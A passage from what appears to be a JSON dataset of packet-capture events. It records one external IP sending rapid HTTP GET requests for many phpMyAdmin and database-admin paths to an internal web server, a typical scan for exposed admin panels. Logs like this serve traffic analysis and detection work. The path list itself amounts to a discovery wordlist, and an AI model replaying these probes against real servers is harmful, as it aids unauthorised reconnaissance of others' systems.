          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7901f1d89c79f4a59157db01",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2107,
          "timestamp_epoch": "1577256352.207530000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/db/index.php",
            "http.response_in": "2112",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/db/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7593e2ba1f47d9c90bbc822c",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2111,
          "timestamp_epoch": "1577256352.593978000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/dbadmin/index.php",
            "http.response_in": "2115",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/dbadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-402ee21f55118fda2f94543a",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2114,
          "timestamp_epoch": "1577256352.891018000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/web/phpMyAdmin/index.php",
            "http.response_in": "2118",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/web/phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-620b45d5c10082f6adf5bf8d",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2117,
          "timestamp_epoch": "1577256353.229511000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/admin/pma/index.php",
            "http.response_in": "2121",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/admin/pma/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4dbcc3ea35545dc5ed803451",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2120,
          "timestamp_epoch": "1577256354.091481000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/admin/PMA/index.php",
            "http.response_in": "2125",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/admin/PMA/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6c822464559f8b6611a730c4",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2123,
          "timestamp_epoch": "1577256355.020268000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/admin/mysql/index.php",
            "http.response_in": "2128",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/admin/mysql/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c7805561a24341fe28579df1",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2127,
          "timestamp_epoch": "1577256355.300657000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/admin/mysql2/index.php",
            "http.response_in": "2131",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/admin/mysql2/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e0c105556ffe86d0e7a6f2dc",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2130,
          "timestamp_epoch": "1577256356.265266000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/admin/phpmyadmin/index.php",
            "http.response_in": "2134",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/admin/phpmyadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-de0a82c3fa4e03580799b1c4",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2133,
          "timestamp_epoch": "1577256356.543171000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/admin/phpMyAdmin/index.php",
            "http.response_in": "2137",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/admin/phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-49fe681b83e91a4c06967ed7",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2136,
          "timestamp_epoch": "1577256358.091002000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/admin/phpmyadmin2/index.php",
            "http.response_in": "2140",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/admin/phpmyadmin2/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-372e5f09fd884aa7caed6cda",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2139,
          "timestamp_epoch": "1577256358.391408000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/mysqladmin/index.php",
            "http.response_in": "2143",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/mysqladmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4da3404182218a1483c05761",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2142,
          "timestamp_epoch": "1577256358.669251000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/mysql-admin/index.php",
            "http.response_in": "2146",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/mysql-admin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4343cfab9f27c28ea66f9ee2",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2145,
          "timestamp_epoch": "1577256359.003859000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/mysql_admin/index.php",
            "http.response_in": "2148",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/mysql_admin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-17b6ca5ba698cf9db89fce0f",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2147,
          "timestamp_epoch": "1577256359.285766000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpadmin/index.php",
            "http.response_in": "2151",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ae98516a9821339f8279bc1b",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2150,
          "timestamp_epoch": "1577256359.567646000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpAdmin/index.php",
            "http.response_in": "2155",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f18223dece21d6d57dab0a1b",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2153,
          "timestamp_epoch": "1577256360.364110000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadmin0/index.php",
            "http.response_in": "2158",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin0/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-39d8a0bad2f3c044027146f5",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2157,
          "timestamp_epoch": "1577256361.973616000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadmin1/index.php",
            "http.response_in": "2161",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin1/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8cf751636e9a337ebf998a72",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2160,
          "timestamp_epoch": "1577256362.271075000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadmin2/index.php",
            "http.response_in": "2164",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin2/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3c8cb616f813992c0f38f47d",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2163,
          "timestamp_epoch": "1577256362.549033000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin-4.4.0/index.php",
            "http.response_in": "2167",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin-4.4.0/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-414076b34fd394abcd43565f",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2166,
          "timestamp_epoch": "1577256363.340451000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin4.8.0/index.php",
            "http.response_in": "2170",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin4.8.0/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fbc542a0424b06c1f3e9611c",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2169,
          "timestamp_epoch": "1577256363.618286000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin4.8.1/index.php",
            "http.response_in": "2173",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin4.8.1/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-21f504d6c8b6bfde530e6771",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2172,
          "timestamp_epoch": "1577256365.655912000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin4.8.2/index.php",
            "http.response_in": "2176",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin4.8.2/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-edd6b5348dc18c8b4efbbd38",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2175,
          "timestamp_epoch": "1577256366.452173000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin4.8.3/index.php",
            "http.response_in": "2179",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin4.8.3/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-983bb7940c173ee01229817a",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2178,
          "timestamp_epoch": "1577256367.655937000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin4.8.4/index.php",
            "http.response_in": "2182",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin4.8.4/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f83aceea5ad6502f31c32f90",
          "src_port": 55013,
          "tcp_stream": 71,
          "udp_stream": null,
          "frame_number": 2181,
          "timestamp_epoch": "1577256367.935012000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin4.8.5/index.php",
            "http.response_in": "2192",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin4.8.5/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ffdf5e2de1fc706e8f32e455",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2190,
          "timestamp_epoch": "1577256373.477836000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/myadmin/index.php",
            "http.response_in": "2195",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/myadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4b93cda98ae065a4747e238c",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2194,
          "timestamp_epoch": "1577256373.744435000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/myadmin2/index.php",
            "http.response_in": "2198",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/myadmin2/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d95f83050c8662e50375f9ca",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2197,
          "timestamp_epoch": "1577256376.036773000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/xampp/phpmyadmin/index.php",
            "http.response_in": "2201",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/xampp/phpmyadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7ef03cc2e882fc4769b0effb",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2200,
          "timestamp_epoch": "1577256377.289138000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyadmin_bak/index.php",
            "http.response_in": "2204",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyadmin_bak/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-44143554b95cefafe6a27ada",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2203,
          "timestamp_epoch": "1577256377.556991000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/www/phpMyAdmin/index.php",
            "http.response_in": "2207",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/www/phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4b2c4aa2cf2d3fb79fce0ef2",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2206,
          "timestamp_epoch": "1577256377.826131000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/tools/phpMyAdmin/index.php",
            "http.response_in": "2210",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/tools/phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-eaf0cd9cfd232630ea76fce1",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2209,
          "timestamp_epoch": "1577256378.086161000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadmin-old/index.php",
            "http.response_in": "2213",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin-old/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1e426d65a2f9ec1416da5b0c",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2212,
          "timestamp_epoch": "1577256379.084904000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdminold/index.php",
            "http.response_in": "2216",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdminold/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2ece084970047c130a807160",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2215,
          "timestamp_epoch": "1577256379.375596000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin.old/index.php",
            "http.response_in": "2219",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin.old/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2d323cfd76abb1634743abc9",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2218,
          "timestamp_epoch": "1577256379.692201000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/pma-old/index.php",
            "http.response_in": "2222",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pma-old/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-90f8cdce35c285ecc97ef36b",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2221,
          "timestamp_epoch": "1577256380.118794000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/claroline/phpMyAdmin/index.php",
            "http.response_in": "2226",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/claroline/phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-24932328b2165bc679dda22a",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2225,
          "timestamp_epoch": "1577256380.797739000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/typo3/phpmyadmin/index.php",
            "http.response_in": "2229",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/typo3/phpmyadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ec9824736aee69cd6270ee2e",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2228,
          "timestamp_epoch": "1577256382.526311000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpma/index.php",
            "http.response_in": "2232",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpma/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-083ee739042371827de13538",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2231,
          "timestamp_epoch": "1577256383.739814000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadmin/phpmyadmin/index.php",
            "http.response_in": "2235",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin/phpmyadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a30779574e03541989c5ea07",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2234,
          "timestamp_epoch": "1577256384.100625000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin/phpMyAdmin/index.php",
            "http.response_in": "2238",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin/phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3f46d6cf44a85c1c660a4f9c",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2237,
          "timestamp_epoch": "1577256385.427063000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAbmin/index.php",
            "http.response_in": "2241",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAbmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4f9c955a5b4d8e60ee05ff9f",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2240,
          "timestamp_epoch": "1577256385.870208000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin__/index.php",
            "http.response_in": "2244",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin__/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bd8436153e074369802f8322",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2243,
          "timestamp_epoch": "1577256388.749870000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin+++---/index.php",
            "http.response_in": "2247",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin+++---/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-400ba6e188cc99292434d453",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2246,
          "timestamp_epoch": "1577256389.594200000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/v/index.php",
            "http.response_in": "2250",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/v/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2b8985030e1b0745b6fdf87e",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2249,
          "timestamp_epoch": "1577256389.868277000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadm1n/index.php",
            "http.response_in": "2253",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadm1n/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
